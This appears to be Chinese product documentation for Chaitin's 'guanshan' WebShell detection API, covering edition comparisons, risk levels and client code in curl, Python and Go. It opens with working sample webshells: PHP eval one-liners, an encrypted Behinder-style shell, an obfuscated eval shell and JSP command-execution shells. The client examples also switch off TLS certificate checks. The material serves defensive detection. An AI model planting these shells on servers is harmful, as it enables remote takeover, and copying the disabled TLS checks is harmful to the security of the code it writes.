顾名思义,WebShell
是黑客用于控制网站服务器的文件,通常以 php
、jsp
、asp
、asp.net
等载体存在于服务器的网站目录下。
以下是几个常见的 WebShell
样例:
PHP 一句话木马
1<?php 2 eval($_POST["pass"]); 3?>
冰蝎 PHP WebShell
1<?php
2session_start();
3if (isset($_GET['pass'])) {
4 $key = substr(md5(uniqid(rand())),16);
5 $_SESSION['k'] = $key;
6 print $key;
7} else {
8 $key = $_SESSION['k'];
9 $post = file_get_contents("php://input");
10 if(!extension_loaded('openssl')) {
11 $t = "base64_"."decode";
12 $post = $t($post."");
13 for($i = 0; $i < strlen($post); $i++) {
14 $post[$i] = $post[$i]^$key[$i+1&15];
15 }
16 } else {
17 $post = openssl_decrypt($post, "AES128", $key);
18 }
19 $arr = explode('|',$post);
20 $func = $arr[0];
21 $params = $arr[1];
22 class C{public function __construct($p) {eval($p."");}}
23 @new C($params);
24}
25?>
带混淆的 PHP WebShell
1<?php function iJG($BHM) {
2 $BHM=gzinflate(base64_decode($BHM));
3 for($i=0;$i<strlen($BHM);$i++) {
4 $BHM[$i] = chr(ord($BHM[$i])-1);
5 }
6 return $BHM;
7 } eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));?>
JSP 一句话木马
1<%Runtime.getRuntime().exec(request.getParameter("pass"));%>
带回显的 JSP WebShell
1<% 2 java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream(); 3 int a = -1; 4 byte[] b = new byte[2048]; 5 out.print("<pre>"); 6 while((a=in.read(b))!=-1){ 7 out.println(new String(b)); 8 } 9 out.print("</pre>"); 10%>
出现 WebShell 是非常严重的安全事件,代表网站已经被攻破,攻击者已经进入企业内网,管理员可按如下流程进行排查:
百川云平台的WebShell 检测系统是由长亭科技提供的 WebShell
在线检测引擎,是长亭牧云主机安全管理平台的底层文件检测引擎 guanshan
的集成项目。
长亭百川 WebShell
检测引擎支持检测 php
、jsp
两种文件类型,主要依赖了以下核心技术:
百川云平台的 WebShell 检测系统目前提供 “基础版”、“高级版” 两个版本可供使用。
“基础版” 和 “高级版” 的能力对比如下:
- | 基础版 | 高级版 |
---|---|---|
PHP WebShell 检测 | 支持 | 支持 |
JSP WebShell 检测 | / | 支持 |
API 调用检测接口 | / | 支持 |
批量检测 | / | 支持 |
异步检测 | / | 支持 |
检测次数 | 100 次/天 | 无限制 |
检测速度 | 有限速 | 无限速 |
更多高级 Feature | 敬请期待 | 敬请期待 |
点击右上角的 “发起检测” 按钮,选择需要检测的 WebShell 类型,选择需要检测的文件,输入文件标签,即可对该文件发起检测,如图所示:
“标签” 的设计是为了方便使用者在众多的检测记录中方便搜索到自己想要的结果。
若检测到文件存在风险,将会在 “检测记录” 页面生成对应的文件事件,如图所示:
点击对应事件的 “详情” 按钮,可以查看检测结果的细节信息,如图所示:
百川云平台的WebShell 检测系统支持对 Web 脚本的精细化检测,将 Web 脚本的分为 0 ~ 20 共 21 个风险级别,参考如下:
风险级别 | 风险说明 | 处置建议 |
---|---|---|
0 | 无风险 | 可直接作为正常业务文件处理 |
1 ~ 9 | 低危风险 | 存在敏感行为,但不会直接形成风险 |
10 ~ 14 | 中危风险 | 存在敏感行为,有可能形成风险 |
15 ~ 19 | 高危风险 | 带有绕过特征的 WebShell,或存在漏洞的业务脚本 |
20 | 严重风险 | 实锤 WebShell |
WebShell 检测接口在使用时有认证限制,未授权用户无法直接使用。
平台提供了两种认证方式:
Cookie Session
的认证HTTP API Token
的认证在浏览器前台页面登录成功后,提取 Cookie
中的 heap-session-id
即可获得授权身份。
但这种方式操作起来稍显麻烦,且
Session
的有效时间只有 24 小时,不推荐使用。
也可以通过 HTTP API Token
的方式进行快速认证。
通过以下步骤可以创建一个 HTTP API Token
:
组织管理
页面API Token
子菜单生成 API Token
按钮WebShell
检测权限生成 API Token
HTTP
的 X-Ca-Token
请求头中写入 API Token
即可生效WebShell 检测的接口的地址是:
https://guanshan.rivers.chaitin.cn/api/v1/detect
调用 WebShell 检测接口采用 HTTP Multipart/form-data
的请求格式,其中包含 4 个参数
参数名 | 参数说明 | 参数位置 | 格式 |
---|---|---|---|
X-Ca-Token | 用于认证的 API Token | HTTP Header | 字符串 |
file | 需要上传做检测的文件 | POST Body | 文件对象 |
type | 文件类型 | POST Body | 字符串 |
tag | 文件标签 | POST Body | json 字符串列表 |
最终发送的 HTTP 请求样例如下:
POST /api/v1/detect HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Go-http-client/1.1
Content-Length: 519
Content-Type: multipart/form-data; boundary=07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
X-Ca-Token: API_TOKEN
Accept-Encoding: gzip
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="file"; filename="/tmp/webshell.php"
Content-Type: application/octet-stream
<?php eval($_POST[x]);
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="tag"
["test","webshell"]
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="type"
php
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2--
接口调用成功后,服务器将以 JSON
格式响应请求,响应内容可参考如下表格:
参数名 | 参数说明 | 格式 |
---|---|---|
code | 检测状态,0 代表成功 | 数字 |
message | 检测发生异常时的报错消息 | 字符串 |
data | WebShell 检测结果 | JSON 对象 |
data.id | 随机生成的检测事件 ID | 字符串 |
data.type | WebShell 文件类型 | 字符串 |
data.reason | 对检测原理的说明 | markdown 字符串 |
data.risk_level | WebShell 风险级别 | 数字 |
data.engine | 内部参数,可忽略 | 字符串 |
服务端响应样例如下:
1{
2 "code": 0,
3 "message": "",
4 "data": {
5 "risk_level": 20,
6 "id": "bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4",
7 "type": "php_webshell",
8 "reason": "```php\n\u003c?php eval($_POST[x]);\n\n```",
9 "engine":"guanshan"
10 }
11}
使用 curl
调用可以参考如下代码
1curl -k 'https://guanshan.rivers.chaitin.cn/api/v1/detect' \ 2 -H 'X-Ca-Token: API_TOKEN'\ 3 -F 'type=php'\ 4 -F 'tag=["test", "webshell"]'\ 5 -F 'file=@./webshell.php'
使用 Python
调用可以参考如下代码
1import requests
2import json
3
4token = "API_TOKEN"
5url = "https://guanshan.rivers.chaitin.cn/api/v1/detect"
6
7def detect(path, tags):
8 req = requests.post(
9 url,
10 data = {
11 "tag" : json.dumps(tags),
12 "type": "php"
13 },
14 files = {
15 "file": open(path, 'rb')
16 },
17 headers = {
18 "X-Ca-Token": token
19 },
20 verify = False
21 )
22 return req.json()
23
24result = detect("./webshell.php", ["test", "webshell"])
25print(result)
使用 Golang
调用可以参考如下代码
1package main
2
3import (
4 "io"
5 "os"
6 "fmt"
7 "net/http"
8 "io/ioutil"
9 "crypto/tls"
10 "bytes"
11 "mime/multipart"
12 "encoding/json"
13)
14
15const token = "API_TOKEN"
16const url = "https://guanshan.rivers.chaitin.cn/api/v1/detect"
17
18func detect(path string, tags []string) (string, error) {
19 file, err := os.Open(path)
20 if err != nil {
21 return "", err
22 }
23 defer file.Close()
24
25 buf := new(bytes.Buffer)
26 writer := multipart.NewWriter(buf)
27
28 part, err := writer.CreateFormFile("file", path)
29 if err != nil {
30 return "", err
31 }
32
33 _, err = io.Copy(part, file)
34 if err != nil {
35 return "", err
36 }
37
38 stags, err := json.Marshal(tags)
39 if err != nil {
40 return "", err
41 }
42
43 _ = writer.WriteField("tag", string(stags))
44 _ = writer.WriteField("type", "php")
45
46 err = writer.Close()
47 if err != nil {
48 return "", err
49 }
50
51 tr := &http.Transport{
52 TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
53 }
54 client := &http.Client{Transport: tr}
55
56 req, err := http.NewRequest("POST", url, buf)
57 if err != nil {
58 return "", err
59 }
60
61 req.Header.Add("X-Ca-Token", token)
62 req.Header.Add("Content-Type", writer.FormDataContentType())
63
64 resp, err := client.Do(req)
65 if err != nil {
66 return "", err
67 }
68
69 defer resp.Body.Close()
70
71 body, err := ioutil.ReadAll(resp.Body)
72 if err != nil {
73 return "", err
74 }
75
76 return string(body), nil
77}
78
79func main() {
80 fmt.Println(detect("/tmp/webshell.php", []string{"test", "webshell"}))
81}
长亭科技从 2017 年开始投入 WebShell
检测引擎研发,目前已经超过 5 年时间,先后尝试过文件情报、文本特征、机器学习、语义分析、污点追踪等多种技术方向,也尝试过开源项目、免费工具、企业级检测引擎、在线工具等多种项目形式,挖过坑、踩过坑,到现在终于能把效果做到逐渐令人满意,感谢 Cyrus
、araleiii
、phith0n
、maple
、D_infinite
等多位大佬在研发过程中的贡献,感谢 P 师傅给项目赐名 关山
。
欢迎兄弟姐妹们前来试用,欢迎甲方朋友使用本项目扫描自家的业务,欢迎乙方朋友将本项目集成到自己的项目中,行业同僚的信赖是一直以来都是长亭 WebShell
检测团队努力的动力。